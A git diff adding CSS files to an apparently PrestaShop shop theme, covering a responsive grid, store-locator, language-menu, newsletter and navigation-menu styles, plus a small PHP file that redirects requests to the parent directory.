.col-xxs-6, .col-xxs-7, .col-xxs-8, .col-xxs-9, .col-xxs-10, .col-xxs-11, .col-xxs-12, +.xxs1, .xxs2, .xxs3, .xxs4, .xxs5, .xxs6, .xxs7, .xxs8, .xxs9, .xxs10, .xxs11, .xxs12 { + float: left; +} +.col-xxs-12, .xxs12 { + width: 100%; +} +.col-xxs-11, .xxs11 { + width: 91.66666667%; +} +.col-xxs-10, .xxs10 { + width: 83.33333333%; +} +.col-xxs-9, .xxs9 { + width: 75%; +} +.col-xxs-8, .xxs8 { + width: 66.66666667%; +} +.col-xxs-7, .xxs7 { + width: 58.33333333%; +} +.col-xxs-6, .xxs6 { + width: 50%; +} +.col-xxs-5, .xxs5 { + width: 41.66666667%; +} +.col-xxs-4, .xxs4 { + width: 33.33333333%; +} +.col-xxs-3, .xxs3 { + width: 25%; +} +.col-xxs-2, .xxs2 { + width: 16.66666667%; +} +.col-xxs-1, .xxs1 { + width: 8.33333333%; +} +.pull-xxs12 { + right: 100%; +} +.pull-xxs11 { + right: 91.66666667%; +} +.pull-xxs10 { + right: 83.33333333%; +} +.pull-xxs9 { + right: 75%; +} +.pull-xxs8 { + right: 66.66666667%; +} +.pull-xxs7 { + right: 58.33333333%; +} +.pull-xxs6 { + right: 50%; +} +.pull-xxs5 { + right: 41.66666667%; +} +.pull-xxs4 { + right: 33.33333333%; +} +.pull-xxs3 { + right: 25%; +} +.pull-xxs2 { + right: 16.66666667%; +} +.pull-xxs1 { + right: 8.33333333%; +} +.pull-xxs0 { + right: auto; +} +.push-xxs12 { + left: 100%; +} +.push-xxs11 { + left: 91.66666667%; +} +.push-xxs10 { + left: 83.33333333%; +} +.push-xxs9 { + left: 75%; +} +.push-xxs8 { + left: 66.66666667%; +} +.push-xxs7 { + left: 58.33333333%; +} +.push-xxs6 { + left: 50%; +} +.push-xxs5 { + left: 41.66666667%; +} +.push-xxs4 { + left: 33.33333333%; +} +.push-xxs3 { + left: 25%; +} +.push-xxs2 { + left: 16.66666667%; +} +.push-xxs1 { + left: 8.33333333%; +} +.push-xxs0 { + left: auto; +} +.col-xxs-offset-12, .offset-xxs12 { + margin-left: 100%; +} +.col-xxs-offset-11, .offset-xxs11 { + margin-left: 91.66666667%; +} +.col-xxs-offset-10, .offset-xxs10 { + margin-left: 83.33333333%; +} +.col-xxs-offset-9, .offset-xxs9 { + margin-left: 75%; +} +.col-xxs-offset-8, .offset-xxs8 { + margin-left: 66.66666667%; +} +.col-xxs-offset-7, .offset-xxs7 { + margin-left: 58.33333333%; +} +.col-xxs-offset-6, .offset-xxs6 { + margin-left: 50%; +} +.col-xxs-offset-5, .offset-xxs5 { + margin-left: 41.66666667%; +} +.col-xxs-offset-4, .offset-xxs4 { + margin-left: 33.33333333%; +} +.col-xxs-offset-3, .offset-xxs3 { + margin-left: 25%; +} +.col-xxs-offset-2, .offset-xxs2 { + margin-left: 16.66666667%; +} +.col-xxs-offset-1, .offset-xxs1 { + margin-left: 8.33333333%; +} +.col-xxs-offset-0, .offset-xxs0 { + margin-left: 0%; +} +@media (max-width: 479px) { + .hidden-xxs, .xxs-hidden { + display: none !important; + } + .visible-xxs, .xxs-show { + display: block !important; + } + .xxs-show-inline { + display: inline-block !important; + } + + .xxs-pt0 { + padding-top: 0; + } + .xxs-pr0 { + padding-right: 0; + } + .xxs-pb0 { + padding-bottom: 0; + } + .xxs-pl0 { + padding-left: 0; + } + + .xxs-text-center { + text-align: center; + } + .xxs-text-left { + text-align: left; + } + .xxs-text-right { + text-align: right; + } + + .xxs-pull-right { + float: right; + } + .xxs-pull-left { + float: right; + } + + .xxs-center-block { + display: block; + margin-left: auto; + margin-right: auto; + } +} + +@media (min-width: 480px) { + .col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12, + .xs1, .xs2, .xs3, .xs4, .xs5, .xs6, .xs7, .xs8, .xs9, .xs10, .xs11, .xs12 { + float: left; + } + .col-xs-12, .xs12 { + width: 100%; + } + .col-xs-11, .xs11 { + width: 91.66666667%; + } + .col-xs-10, .xs10 { + width: 83.33333333%; + } + .col-xs-9, .xs9 { + width: 75%; + } + .col-xs-8, .xs8 { + width: 66.66666667%; + } + .col-xs-7, .xs7 { + width: 58.33333333%; + } + .col-xs-6, .xs6 { + width: 50%; + } + .col-xs-5, .xs5 { + width: 41.66666667%; + } + .col-xs-4, .xs4 { + width: 33.33333333%; + } + .col-xs-3, .xs3 { + width: 25%; + } + .col-xs-2, .xs2 { + width: 16.66666667%; + } + .col-xs-1, .xs1 { + width: 8.33333333%; + } + .pull-xs12 { + right: 100%; + } + .pull-xs11 { + right: 91.66666667%; + } + .pull-xs10 { + right: 83.33333333%; + } + .pull-xs9 { + right: 75%; + } + .pull-xs8 { + right: 66.66666667%; + } + .pull-xs7 { + right: 58.33333333%; + } + .pull-xs6 { + right: 50%; + } + .pull-xs5 { + right: 41.66666667%; + } + .pull-xs4 { + right: 33.33333333%; + } + .pull-xs3 { + right: 25%; + } + .pull-xs2 { + right: 16.66666667%; + } + .pull-xs1 { + right: 8.33333333%; + } + .pull-xs0 { + right: auto; + } + .push-xs12 { + left: 100%; + } + .push-xs11 { + left: 91.66666667%; + } + .push-xs10 { + left: 83.33333333%; + } + .push-xs9 { + left: 75%; + } + .push-xs8 { + left: 66.66666667%; + } + .push-xs7 { + left: 58.33333333%; + } + .push-xs6 { + left: 50%; + } + .push-xs5 { + left: 41.66666667%; + } + .push-xs4 { + left: 33.33333333%; + } + .push-xs3 { + left: 25%; + } + .push-xs2 { + left: 16.66666667%; + } + .push-xs1 { + left: 8.33333333%; + } + .push-xs0 { + left: auto; + } + .col-xs-offset-12, .offset-xs12 { + margin-left: 100%; + } + .col-xs-offset-11, .offset-xs11 { + margin-left: 91.66666667%; + } + .col-xs-offset-10, .offset-xs10 { + margin-left: 83.33333333%; + } + .col-xs-offset-9, .offset-xs9 { + margin-left: 75%; + } + .col-xs-offset-8, .offset-xs8 { + margin-left: 66.66666667%; + } + .col-xs-offset-7, .offset-xs7 { + margin-left: 58.33333333%; + } + .col-xs-offset-6, .offset-xs6 { + margin-left: 50%; + } + .col-xs-offset-5, .offset-xs5 { + margin-left: 41.66666667%; + } + .col-xs-offset-4, .offset-xs4 { + margin-left: 33.33333333%; + } + .col-xs-offset-3, .offset-xs3 { + margin-left: 25%; + } + .col-xs-offset-2, .offset-xs2 { + margin-left: 16.66666667%; + } + .col-xs-offset-1, .offset-xs1 { + margin-left: 8.33333333%; + } + .col-xs-offset-0, .offset-xs0 { + margin-left: 0%; + } +} +@media (min-width: 480px) and (max-width: 767px) { + .hidden-xs, .xs-hidden { + display: none !important; + } + .visible-xs, .xs-show { + display: block !important; + } + .xs-show-inline { + display: inline-block !important; + } + .xs-pt0 { + padding-top: 0; + } + .xs-pr0 { + padding-right: 0; + } + .xs-pb0 { + padding-bottom: 0; + } + .xs-pl0 { + padding-left: 0; + } + + .xs-text-center { + text-align: center; + } + .xs-text-left { + text-align: left; + } + .xs-text-right { + text-align: right; + } + + .xs-pull-right { + float: right; + } + .xs-pull-left { + float: right; + } + + .xs-center-block { + display: block; + margin-left: auto; + margin-right: auto; + } +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, + .sm1, .sm2, .sm3, .sm4, .sm5, .sm6, .sm7, .sm8, .sm9, .sm10, .sm11, .sm12 { + float: left; + } + .col-sm-12, .sm12 { + width: 100%; + } + .col-sm-11, .sm11 { + width: 91.66666667%; + } + .col-sm-10, .sm10 { + width: 83.33333333%; + } + .col-sm-9, .sm9 { + width: 75%; + } + .col-sm-8, .sm8 { + width: 66.66666667%; + } + .col-sm-7, .sm7 { + width: 58.33333333%; + } + .col-sm-6, .sm6 { + width: 50%; + } + .col-sm-5, .sm5 { + width: 41.66666667%; + } + .col-sm-4, .sm4 { + width: 33.33333333%; + } + .col-sm-3, .sm3 { + width: 25%; + } + .col-sm-2, .sm2 { + width: 16.66666667%; + } + .col-sm-1, .sm1 { + width: 8.33333333%; + } + + .pull-sm12 { + right: 100%; + } + .pull-sm11 { + right: 91.66666667%; + } + .pull-sm10 { + right: 83.33333333%; + } + .pull-sm9 { + right: 75%; + } + .pull-sm8 { + right: 66.66666667%; + } + .pull-sm7 { + right: 58.33333333%; + } + .pull-sm6 { + right: 50%; + } + .pull-sm5 { + right: 41.66666667%; + } + .pull-sm4 { + right: 33.33333333%; + } + .pull-sm3 { + right: 25%; + } + .pull-sm2 { + right: 16.66666667%; + } + .pull-sm1 { + right: 8.33333333%; + } + .pull-sm0 { + right: auto; + } + .push-sm12 { + left: 100%; + } + .push-sm11 { + left: 91.66666667%; + } + .push-sm10 { + left: 83.33333333%; + } + .push-sm9 { + left: 75%; + } + .push-sm8 { + left: 66.66666667%; + } + .push-sm7 { + left: 58.33333333%; + } + .push-sm6 { + left: 50%; + } + .push-sm5 { + left: 41.66666667%; + } + .push-sm4 { + left: 33.33333333%; + } + .push-sm3 { + left: 25%; + } + .push-sm2 { + left: 16.66666667%; + } + .push-sm1 { + left: 8.33333333%; + } + .push-sm0 { + left: auto; + } + .col-sm-offset-12, .offset-sm12 { + margin-left: 100%; + } + .col-sm-offset-11, .offset-sm11 { + margin-left: 91.66666667%; + } + .col-sm-offset-10, .offset-sm10 { + margin-left: 83.33333333%; + } + .col-sm-offset-9, .offset-sm9 { + margin-left: 75%; + } + .col-sm-offset-8, .offset-sm8 { + margin-left: 66.66666667%; + } + .col-sm-offset-7, .offset-sm7 { + margin-left: 58.33333333%; + } + .col-sm-offset-6, .offset-sm6 { + margin-left: 50%; + } + .col-sm-offset-5, .offset-sm5 { + margin-left: 41.66666667%; + } + .col-sm-offset-4, .offset-sm4 { + margin-left: 33.33333333%; + } + .col-sm-offset-3, .offset-sm3 { + margin-left: 25%; + } + .col-sm-offset-2, .offset-sm2 { + margin-left: 16.66666667%; + } + .col-sm-offset-1, .offset-sm1 { + margin-left: 8.33333333%; + } + .col-sm-offset-0, .offset-sm0 { + margin-left: 0%; + } +} +@media (min-width: 768px) and (max-width: 991px) { + .hidden-sm, .sm-hidden { + display: none !important; + } + .visible-sm, .sm-show { + display: block !important; + } + .sm-show-inline { + display: inline-block !important; + } + .sm-pt0 { + padding-top: 0; + } + .sm-pr0 { + padding-right: 0; + } + .sm-pb0 { + padding-bottom: 0; + } + .sm-pl0 { + padding-left: 0; + } + + .sm-text-center { + text-align: center; + } + .sm-text-left { + text-align: left; + } + .sm-text-right { + text-align: right; + } + + .sm-pull-right { + float: right; + } + .sm-pull-left { + float: right; + } + + .sm-center-block { + display: block; + margin-left: auto; + margin-right: auto; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, + .md1, .md2, .md3, .md4, .md5, .md6, .md7, .md8, .md9, .md10, .md11, .md12 { + float: left; + } + .col-md-12, .md12 { + width: 100%; + } + .col-md-11, .md11 { + width: 91.66666667%; + } + .col-md-10, .md10 { + width: 83.33333333%; + } + .col-md-9, .md9 { + width: 75%; + } + .col-md-8, .md8 { + width: 66.66666667%; + } + .col-md-7, .md7 { + width: 58.33333333%; + } + .col-md-6, .md6 { + width: 50%; + } + .col-md-5, .md5 { + width: 41.66666667%; + } + .col-md-4, .md4 { + width: 33.33333333%; + } + .col-md-3, .md3 { + width: 25%; + } + .col-md-2, .md2 { + width: 16.66666667%; + } + .col-md-1, .md1 { + width: 8.33333333%; + } + + .pull-md12 { + right: 100%; + } + .pull-md11 { + right: 91.66666667%; + } + .pull-md10 { + right: 83.33333333%; + } + .pull-md9 { + right: 75%; + } + .pull-md8 { + right: 66.66666667%; + } + .pull-md7 { + right: 58.33333333%; + } + .pull-md6 { + right: 50%; + } + .pull-md5 { + right: 41.66666667%; + } + .pull-md4 { + right: 33.33333333%; + } + .pull-md3 { + right: 25%; + } + .pull-md2 { + right: 16.66666667%; + } + .pull-md1 { + right: 8.33333333%; + } + .pull-md0 { + right: auto; + } + .push-md12 { + left: 100%; + } + .push-md11 { + left: 91.66666667%; + } + .push-md10 { + left: 83.33333333%; + } + .push-md9 { + left: 75%; + } + .push-md8 { + left: 66.66666667%; + } + .push-md7 { + left: 58.33333333%; + } + .push-md6 { + left: 50%; + } + .push-md5 { + left: 41.66666667%; + } + .push-md4 { + left: 33.33333333%; + } + .push-md3 { + left: 25%; + } + .push-md2 { + left: 16.66666667%; + } + .push-md1 { + left: 8.33333333%; + } + .push-md0 { + left: auto; + } + .col-md-offset-12, .offset-md12 { + margin-left: 100%; + } + .col-md-offset-11, .offset-md11 { + margin-left: 91.66666667%; + } + .col-md-offset-10, .offset-md10 { + margin-left: 83.33333333%; + } + .col-md-offset-9, .offset-md9 { + margin-left: 75%; + } + .col-md-offset-8, .offset-md8 { + margin-left: 66.66666667%; + } + .col-md-offset-7, .offset-md7 { + margin-left: 58.33333333%; + } + .col-md-offset-6, .offset-md6 { + margin-left: 50%; + } + .col-md-offset-5, .offset-md5 { + margin-left: 41.66666667%; + } + .col-md-offset-4, .offset-md4 { + margin-left: 33.33333333%; + } + .col-md-offset-3, .offset-md3 { + margin-left: 25%; + } + .col-md-offset-2, .offset-md2 { + margin-left: 16.66666667%; + } + .col-md-offset-1, .offset-md1 { + margin-left: 8.33333333%; + } + .col-md-offset-0, .offset-md0 { + margin-left: 0%; + } + +} +@media (min-width: 992px) and (max-width: 1199px) { + .hidden-md, .md-hidden { + display: none !important; + } + .visible-md, .md-show { + display: block !important; + } + .md-show-inline { + display: inline-block !important; + } + .md-pt0 { + padding-top: 0; + } + .md-pr0 { + padding-right: 0; + } + .md-pb0 { + padding-bottom: 0; + } + .md-pl0 { + padding-left: 0; + } + + .md-text-center { + text-align: center; + } + .md-text-left { + text-align: left; + } + .md-text-right { + text-align: right; + } + + .md-pull-right { + float: right; + } + .md-pull-left { + float: right; + } + + .md-center-block { + display: block; + margin-left: auto; + margin-right: auto; + } + +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, + .lg1, .lg2, .lg3, .lg4, .lg5, .lg6, .lg7, .lg8, .lg9, .lg10, .lg11, .lg12 { + float: left; + } + .col-lg-12, .lg12 { + width: 100%; + } + .col-lg-11, .lg11 { + width: 91.66666667%; + } + .col-lg-10, .lg10 { + width: 83.33333333%; + } + .col-lg-9, .lg9 { + width: 75%; + } + .col-lg-8, .lg8 { + width: 66.66666667%; + } + .col-lg-7, .lg7 { + width: 58.33333333%; + } + .col-lg-6, .lg6 { + width: 50%; + } + .col-lg-5, .lg5 { + width: 41.66666667%; + } + .col-lg-4, .lg4 { + width: 33.33333333%; + } + .col-lg-3, .lg3 { + width: 25%; + } + .col-lg-2, .lg2 { + width: 16.66666667%; + } + .col-lg-1, .lg1 { + width: 8.33333333%; + } + + .pull-lg12 { + right: 100%; + } + .pull-lg11 { + right: 91.66666667%; + } + .pull-lg10 { + right: 83.33333333%; + } + .pull-lg9 { + right: 75%; + } + .pull-lg8 { + right: 66.66666667%; + } + .pull-lg7 { + right: 58.33333333%; + } + .pull-lg6 { + right: 50%; + } + .pull-lg5 { + right: 41.66666667%; + } + .pull-lg4 { + right: 33.33333333%; + } + .pull-lg3 { + right: 25%; + } + .pull-lg2 { + right: 16.66666667%; + } + .pull-lg1 { + right: 8.33333333%; + } + .pull-lg0 { + right: auto; + } + .push-lg12 { + left: 100%; + } + .push-lg11 { + left: 91.66666667%; + } + .push-lg10 { + left: 83.33333333%; + } + .push-lg9 { + left: 75%; + } + .push-lg8 { + left: 66.66666667%; + } + .push-lg7 { + left: 58.33333333%; + } + .push-lg6 { + left: 50%; + } + .push-lg5 { + left: 41.66666667%; + } + .push-lg4 { + left: 33.33333333%; + } + .push-lg3 { + left: 25%; + } + .push-lg2 { + left: 16.66666667%; + } + .push-lg1 { + left: 8.33333333%; + } + .push-lg0 { + left: auto; + } + .col-lg-offset-12, .offset-lg12 { + margin-left: 100%; + } + .col-lg-offset-11, .offset-lg11 { + margin-left: 91.66666667%; + } + .col-lg-offset-10, .offset-lg10 { + margin-left: 83.33333333%; + } + .col-lg-offset-9, .offset-lg9 { + margin-left: 75%; + } + .col-lg-offset-8, .offset-lg8 { + margin-left: 66.66666667%; + } + .col-lg-offset-7, .offset-lg7 { + margin-left: 58.33333333%; + } + .col-lg-offset-6, .offset-lg6 { + margin-left: 50%; + } + .col-lg-offset-5, .offset-lg5 { + margin-left: 41.66666667%; + } + .col-lg-offset-4, .offset-lg4 { + margin-left: 33.33333333%; + } + .col-lg-offset-3, .offset-lg3 { + margin-left: 25%; + } + .col-lg-offset-2, .offset-lg2 { + margin-left: 16.66666667%; + } + .col-lg-offset-1, .offset-lg1 { + margin-left: 8.33333333%; + } + .col-lg-offset-0, .offset-lg0 { + margin-left: 0%; + } + .hidden-lg, .lg-hidden { + display: none !important; + } + .visible-lg, .lg-show { + display: block !important; + } + .lg-show-inline { + display: inline-block !important; + } + + .lg-pt0 { + padding-top: 0; + } + .lg-pr0 { + padding-right: 0; + } + .lg-pb0 { + padding-bottom: 0; + } + .lg-pl0 { + padding-left: 0; + } + + .lg-text-center { + text-align: center; + } + .lg-text-left { + text-align: left; + } + .lg-text-right { + text-align: right; + } + + .lg-pull-right { + float: right; + } + .lg-pull-left { + float: right; + } + + .lg-center-block { + display: block; + margin-left: auto; + margin-right: auto; + } + +} + +/*** test responsive ********/ + +@media(max-width: 990px){ + .col-xxs-1, .col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, + .col-xxs-2, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, + .col-xxs-3, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, + .col-xxs-4, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, + .col-xxs-5, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, + .col-xxs-6, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, + .col-xxs-7, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, + .col-xxs-8, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, + .col-xxs-9, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, + .col-xxs-10, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, + .col-xxs-11, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, + .col-xxs-12, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12, + .xxs1, .xs1, .sm1, .md1, .lg1, + .xxs2, .xs2, .sm2, .md2, .lg2, + .xxs3, .xs3, .sm3, .md3, .lg3, + .xxs4, .xs4, .sm4, .md4, .lg4, + .xxs5, .xs5, .sm5, .md5, .lg5, + .xxs6, .xs6, .sm6, .md6, .lg6, + .xxs7, .xs7, .sm7, .md7, .lg7, + .xxs8, .xs8, .sm8, .md8, .lg8, + .xxs9, .xs9, .sm9, .md9, .lg9, + .xxs10, .xs10, .sm10, .md10, .lg10, + .xxs11, .xs11, .sm11, .md11, .lg11, + .xxs12, .xs12, .sm12, .md12, .lg12 { + padding-left: 10px; + padding-right: 10px; + } + .row { margin-right: -10px; margin-left: -10px; } +} \ No newline at end of file diff --git a/themes/default/css/modules/antadis_iframefacebook/stores.css b/themes/default/css/modules/antadis_iframefacebook/stores.css new file mode 100644 index 0000000..4a680db --- /dev/null +++ b/themes/default/css/modules/antadis_iframefacebook/stores.css @@ -0,0 +1,62 @@ +body{ + width: 800px; + box-sizing: border-box; +} +#header,.container_9,.iframe-facebook,.container_9 .grid_9 { + width: 600px; + margin:0 auto; + box-sizing: border-box; +} +#header,#header #header_right {display: none;} +.iframe-facebook.borderGreen { + padding: 16px 20px 20px; + border-top: 7px solid #b9da1a; + background: #FFF; + box-sizing: border-box; +} +.iframe-facebook.borderGreen h1 { + margin: 30px 0; + color: #000; + font-size: 30px; + border-bottom: 1px solid #000; + padding: 0 0 30px; + line-height: 30px; +} +.iframe-facebook.borderGreen h1 span .g { + color: #BFDA3F!important; +} +.locationInputs { + width: 100%; +} +.iframe-facebook input#addressInput { + border: 0; + height: 33px; + margin-top: 2px; + width: calc(100% - 40px); + padding: 1px 10px 0; + background:#fff; + border: #000; + float: left; + border: 1px solid #999; + box-sizing: border-box; +} +#map2 { + width: 100%; + height: 500px;; +} +.stores { + margin-top: 10px;; +} +.storestable, .storestable table { + width:100%; +} +.storestable table tr { + float: left; + width: calc(50% - 5px); + min-height: 82px; + margin-right: 5px;; +} + +.footer_wrapper { + display: none!important; +} diff --git a/themes/default/css/modules/blocklanguages/blocklanguages.css b/themes/default/css/modules/blocklanguages/blocklanguages.css new file mode 100755 index 0000000..5283fbe --- /dev/null +++ b/themes/default/css/modules/blocklanguages/blocklanguages.css @@ -0,0 +1,89 @@ +/* block top languages */ +#header_right #languages_block_top { + float:left; + min-width:80px; + line-height:36px; + line-height:23px; + height:23px; + margin-top:7px; +} +#header_right #languages_block_top p { + color:#fafafa; + font-size:9px; + float:left; + line-height:23px; + height:23px; + text-transform:uppercase; + +} +/*languages with jquery*/ +#countries { + cursor: pointer; + position: relative; + top: 1px; +} +#countries p { + position: relative; + top: 0; + padding: 0; +} +#countries p img { + padding-left: 5px; + vertical-align:-1px; +} +#countries .countries_ul{ + display:none; + z-index: 10000; + padding:10px; + list-style-type:none; + width:83px; + height: auto; + padding: 1px 10px; + position: absolute; + right:-12px; + top:29px; + padding:3px 0; + z-index: 5000; + + background-color: #292929; + background-image: -moz-linear-gradient(center top , #292929 0%, #121212 100%); + border: 1px solid #333333; + border-radius: 1px; + border-top:0; + line-height: 36px; + padding:4px 0 4px 18px; + + +} +#countries .countries_ul_hover{ + display: block; + /*display: none; */ +} +#countries ul#first-languages li a, +#countries ul#first-languages li { + display:block; + float:left; + text-align:left; + line-height:20px; + height:20px; + color:#000000; + margin:0 0px 0 0; + /*background:#ffffff;*/ + text-transform:uppercase; +} +#countries ul#first-languages li a{ + padding:0 0 0 0; + font-size:10px; +} +#countries ul#first-languages li a:hover{ + color:#000000; + /*background:#efefef;*/ +} +#countries ul#first-languages li a img{ + float:right; + margin:5px 9px; +} +#countries ul#first-languages li.hidden{ + display:none; +} + diff --git a/themes/default/css/modules/blocknewsletter/blocknewsletter.css b/themes/default/css/modules/blocknewsletter/blocknewsletter.css new file mode 100755 index 0000000..5c25079 --- /dev/null +++ b/themes/default/css/modules/blocknewsletter/blocknewsletter.css @@ -0,0 +1,100 @@ +/* Block newsletter */ +#newsletter_block_left { + display:block; + width:430px; + text-align:center; + background:white; + padding:0 0 20px; +} +#newsletter_block_left p{ + text-align:center; + color:#000000; + font-size:14px; +} +#newsletter_block_left p.success_inline{color:#b9da1a;} +#newsletter_block_left p.warning_inline{color:#ff0000;} +#newsletter_block_left .title_block{ + font-size:18px; + text-transform:uppercase; + color:#000000; + padding:10px; + line-height:26px; + background:none; + font-weight:normal; +} +#newsletter_block_left .inputNew{ + margin:0 20px 0 0; + padding:4px 10px 0px; + width:286px; + line-height:35px; + height:35px; + float:left; + border:0; + font-size:12px; + font-family:Arial,Sans-Serif; + background:url('../../../img/inputNew.png') no-repeat 0 0; +} +#newsletter_block_left .button_mini{ + margin:0; + padding:0; + width:104px; + line-height:39px; + height:39px; + float:left; + border:0; + font-size:12px; + font-family:Times New Roman; + text-transform:uppercase; + background:url('../../../img/submitNewsletter.png') no-repeat 0 0; +} + + + +#desinscription_newsletter { + display:block; + width:430px; + text-align:center; + background:white; + padding:0 0 20px; +} +#desinscription_newsletter p{ + text-align:center; + color:#000000; + font-size:14px; +} +#desinscription_newsletter p.success_inline{color:#b9da1a;} +#desinscription_newsletter p.warning_inline{color:#ff0000;} +#desinscription_newsletter .title_block{ + font-size:18px; + text-transform:uppercase; + color:#000000; + padding:10px; + line-height:26px; + background:none; + font-weight:normal; +} +#desinscription_newsletter .inputNew{ + margin:0 20px 0 0; + padding:4px 10px 0px; + width:286px; + line-height:35px; + height:35px; + float:left; + border:0; + font-size:12px; + font-family:Arial,Sans-Serif; + background:url('../../../img/inputNew.png') no-repeat 0 0; +} +#desinscription_newsletter .button_mini{ + margin:0; + padding:0; + width:104px; + line-height:39px; + height:39px; + float:left; + border:0; + font-size:12px; + font-family:Times New Roman; + text-transform:uppercase; + background:url('../../../img/submitNewsletter.png') no-repeat 0 0; +} \ No newline at end of file diff --git a/themes/default/css/modules/blocktopmenu/css/index.php b/themes/default/css/modules/blocktopmenu/css/index.php new file mode 100755 index 0000000..b434806 --- /dev/null +++ b/themes/default/css/modules/blocktopmenu/css/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +?> \ No newline at end of file diff --git a/themes/default/css/modules/blocktopmenu/css/superfish-modified-mobile.css b/themes/default/css/modules/blocktopmenu/css/superfish-modified-mobile.css new file mode 100755 index 0000000..faf5c52 --- /dev/null +++ b/themes/default/css/modules/blocktopmenu/css/superfish-modified-mobile.css @@ -0,0 +1,136 @@ +/*** ESSENTIAL STYLES ***/ + + .categories_block hr{ + border:0; + margin:30px 0; + border-bottom:1px solid #dbdbdb; + clear:both; + } + .categories_block{ + display:none; + left:0px; + padding: 0; + position: absolute; + top:278px; + width: 640px; + z-index:20 +} + .nosProduits.hover .categories_block{ + display:block; +} + .categories_block .bg_categories_block{ + /*padding:20px 20px 35px;*/ + padding:20px 20px 0; + background:url('../../../../img/bg_categories_block.png') repeat-x 0 bottom; + background:white; +} +.categories_block{ + padding:0px 0px 35px; + background:url('../../../../img/bg_categories_block.png') repeat-x 0 bottom; +} + + .categories_block .besoins, + .categories_block .produits{ + float:left; + width:100%; + clear:both; +} + .categories_block .besoins p, + .categories_block .produits p{ + margin:0; +} + .categories_block p.title{ + font-family: Times New Roman; + font-size: 18px; + line-height: 19px; + padding:0 0 15px; + text-align:left; + color:#000000; +} + .categories_block ul{ + width:auto; + position:relative; + top:0!important; + float:left; +} + .categories_block .produits ul{ + width:300px; + padding:0 10px 0 0; + margin:0; + height:200px;overflow:hidden; +} + .categories_block .produits ul:last-child{ + width:290px; + padding:0 0 16px 0; +} + + .categories_block .besoins ul{ + width:160px; + padding:0; + margin:0; +} + .categories_block .besoins ul.tree{ + width:400px; +} + + .categories_block .besoins{ + height:230px; +} + .categories_block ul li a, + .categories_block ul li:last-child, + .categories_block ul li{ + line-height:18px; + height:auto; + text-transform:none; + float:none; + display:block; + width:auto; + text-align:left; + white-space:normal; + font-size: 16px; +} + .categories_block ul li{ + height:40px; + padding:0 0; +} + .categories_block ul li a{ + color:#000000; + padding:2px 0 2px 10px; + font-size: 16px; + line-height:16px; + background:url('../../../../img/categoriesFleche.png') no-repeat 0 5px; +} + + .categories_block ul li a.selected, + .categories_block ul li a:hover{ + color:#90ae00; + background:url('../../../../img/categoriesFlecheVerte.png') no-repeat 0 5px; +} + +li.fidelite{ +width: 110px; padding: 0px 9px; +height:75px; +overflow:hidden; +} +li.nosProduits{ +width: 110px; padding: 0px 9px; +} +li.nosProduits.hover a{ + background:white; + color:#90ae00!important; +} +.categories_block li a{ + color:#000000!important; +} + .categories_block li a:hover{ + color:#90ae00!important; +} +@media (max-width:720px){ + li.nosProduits{ + width: 110px; padding: 0px !important; + } + li.presse{ + width:90px !important; + padding: 0 5px !important; + } +} \ No newline at end of file diff --git a/themes/default/css/modules/blocktopmenu/css/superfish-modified.css b/themes/default/css/modules/blocktopmenu/css/superfish-modified.css new file mode 100755 index 0000000..cceb6f9 --- /dev/null +++ b/themes/default/css/modules/blocktopmenu/css/superfish-modified.css @@ -0,0 +1,208 @@ +.sf-menu .categories_block/*** ESSENTIAL STYLES ***/ +.sf-contener { + clear: both; +} +.sf-right { + margin-right: 14px; + float: right; + width: 7px; +} +.sf-menu, .sf-menu * { + margin: 0; + padding: 0; + list-style: none; +} +.sf-menu { + margin: 10px 0; + padding:0; + width:998px;/* 980 */ +} +.sf-menu ul { + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ +} +.sf-menu ul li { + width: 100%; +} +.sf-menu li:hover { + visibility: inherit; /* fixes IE7 'sticky bug' */ +} +.sf-menu li { + float: left; + border-right: 1px solid #777; +} +.sf-menu a { + display: block; + position: relative; + color:#fff; +} +.sf-menu li:hover ul, +.sf-menu li.sfHover ul { + left: 0; + top: 34px; /* match top ul list item height */ + z-index: 99; + width:auto +} +ul.sf-menu li:hover li ul, +ul.sf-menu li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li:hover ul, +ul.sf-menu li li.sfHover ul { + left: 200px; /* match ul width */ + top: 0; +} +ul.sf-menu li li:hover li ul, +ul.sf-menu li li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li li:hover ul, +ul.sf-menu li li li.sfHover ul { + left: 200px; /* match ul width */ + top: 0; +} + +/*** DEMO SKIN ***/ +.sf-menu { + float: left; + margin-bottom: 1em; +} +.sf-menu li{ + width:14%; + border:0; + text-align:center; +} +.sf-menu li:last-child{ + float:right; + width:15%; + text-align:right; +} 